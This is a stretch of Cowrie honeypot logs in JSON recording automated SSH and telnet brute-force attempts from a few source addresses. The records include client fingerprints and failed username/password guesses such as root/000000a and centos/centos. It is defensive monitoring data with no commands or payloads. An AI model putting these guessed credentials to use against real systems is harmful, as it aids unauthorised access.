{"eventid":"cowrie.login.failed","username":"eduardo","password":"eduardo","message":"login attempt [eduardo/eduardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:27.176440Z","src_ip":"45.156.87.69","session":"01e9fa23c079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:28.261686Z","src_ip":"45.156.87.69","session":"01e9fa23c079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":29722,"dst_ip":"159.203.135.109","dst_port":22,"session":"f994d0e4c141","protocol":"ssh","message":"New connection: 45.156.87.69:29722 (159.203.135.109:22) [session: f994d0e4c141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:29.865515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:29.873500Z","src_ip":"45.156.87.69","session":"f994d0e4c141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:29.986510Z","src_ip":"45.156.87.69","session":"f994d0e4c141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server","message":"login attempt [ts3server/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:30.925076Z","src_ip":"45.156.87.69","session":"f994d0e4c141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:32.276656Z","src_ip":"45.156.87.69","session":"f994d0e4c141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":29736,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d02a767b086","protocol":"ssh","message":"New connection: 45.156.87.69:29736 (159.203.135.109:22) [session: 8d02a767b086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:33.501950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:33.592413Z","src_ip":"45.156.87.69","session":"8d02a767b086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:33.596784Z","src_ip":"45.156.87.69","session":"8d02a767b086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.28645324707031,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:34.444857Z","src_ip":"152.42.224.71","session":"0979039e848d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dell","password":"1","message":"login attempt [dell/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:34.455151Z","src_ip":"45.156.87.69","session":"8d02a767b086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:35.690894Z","src_ip":"45.156.87.69","session":"8d02a767b086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":26236,"dst_ip":"159.203.135.109","dst_port":22,"session":"a167f2bb69f8","protocol":"ssh","message":"New connection: 45.156.87.69:26236 (159.203.135.109:22) [session: a167f2bb69f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:37.233256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:37.255286Z","src_ip":"45.156.87.69","session":"a167f2bb69f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:37.684578Z","src_ip":"45.156.87.69","session":"a167f2bb69f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52800,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2482d80e252","protocol":"telnet","message":"New connection: 152.42.224.71:52800 (10.17.0.5:23) [session: d2482d80e252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:38.354930Z"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:38.412986Z","src_ip":"45.156.87.69","session":"a167f2bb69f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:39.498132Z","src_ip":"45.156.87.69","session":"a167f2bb69f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":26250,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff138d0ba895","protocol":"ssh","message":"New connection: 45.156.87.69:26250 (159.203.135.109:22) [session: ff138d0ba895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:41.177058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:41.220968Z","src_ip":"45.156.87.69","session":"ff138d0ba895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:41.315771Z","src_ip":"45.156.87.69","session":"ff138d0ba895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webtest","password":"webtest","message":"login attempt [webtest/webtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:41.896080Z","src_ip":"45.156.87.69","session":"ff138d0ba895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:43.031245Z","src_ip":"45.156.87.69","session":"ff138d0ba895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":26266,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea015b8d6952","protocol":"ssh","message":"New connection: 45.156.87.69:26266 (159.203.135.109:22) [session: ea015b8d6952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:44.702811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:44.708466Z","src_ip":"45.156.87.69","session":"ea015b8d6952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:44.800002Z","src_ip":"45.156.87.69","session":"ea015b8d6952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jeff","password":"jeff","message":"login attempt [jeff/jeff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:45.299617Z","src_ip":"45.156.87.69","session":"ea015b8d6952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52810,"dst_ip":"10.17.0.5","dst_port":23,"session":"c300f9f252dc","protocol":"telnet","message":"New connection: 152.42.224.71:52810 (10.17.0.5:23) [session: c300f9f252dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:45.368658Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:46.384706Z","src_ip":"45.156.87.69","session":"ea015b8d6952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52806,"dst_ip":"10.17.0.5","dst_port":23,"session":"f772b9eae929","protocol":"telnet","message":"New connection: 152.42.224.71:52806 (10.17.0.5:23) [session: f772b9eae929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:47.450548Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37688,"dst_ip":"159.203.135.109","dst_port":22,"session":"8634d12e1e80","protocol":"ssh","message":"New connection: 103.153.68.219:37688 (159.203.135.109:22) [session: 8634d12e1e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:47.662217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:47.666934Z","src_ip":"103.153.68.219","session":"8634d12e1e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:47.917694Z","src_ip":"103.153.68.219","session":"8634d12e1e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":60806,"dst_ip":"159.203.135.109","dst_port":22,"session":"23c559736d5f","protocol":"ssh","message":"New connection: 45.156.87.69:60806 (159.203.135.109:22) [session: 23c559736d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:48.312737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:48.322728Z","src_ip":"45.156.87.69","session":"23c559736d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:48.427892Z","src_ip":"45.156.87.69","session":"23c559736d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000a","message":"login attempt [root/000000a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:48.672956Z","src_ip":"103.153.68.219","session":"8634d12e1e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"buzz","password":"buzz","message":"login attempt [buzz/buzz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:48.978291Z","src_ip":"45.156.87.69","session":"23c559736d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:49.926399Z","src_ip":"103.153.68.219","session":"8634d12e1e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:50.158516Z","src_ip":"45.156.87.69","session":"23c559736d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":60818,"dst_ip":"159.203.135.109","dst_port":22,"session":"14aa2bfe5ee7","protocol":"ssh","message":"New connection: 45.156.87.69:60818 (159.203.135.109:22) [session: 14aa2bfe5ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:51.957723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:51.961811Z","src_ip":"45.156.87.69","session":"14aa2bfe5ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:52.072994Z","src_ip":"45.156.87.69","session":"14aa2bfe5ee7","protocol":"ssh"}
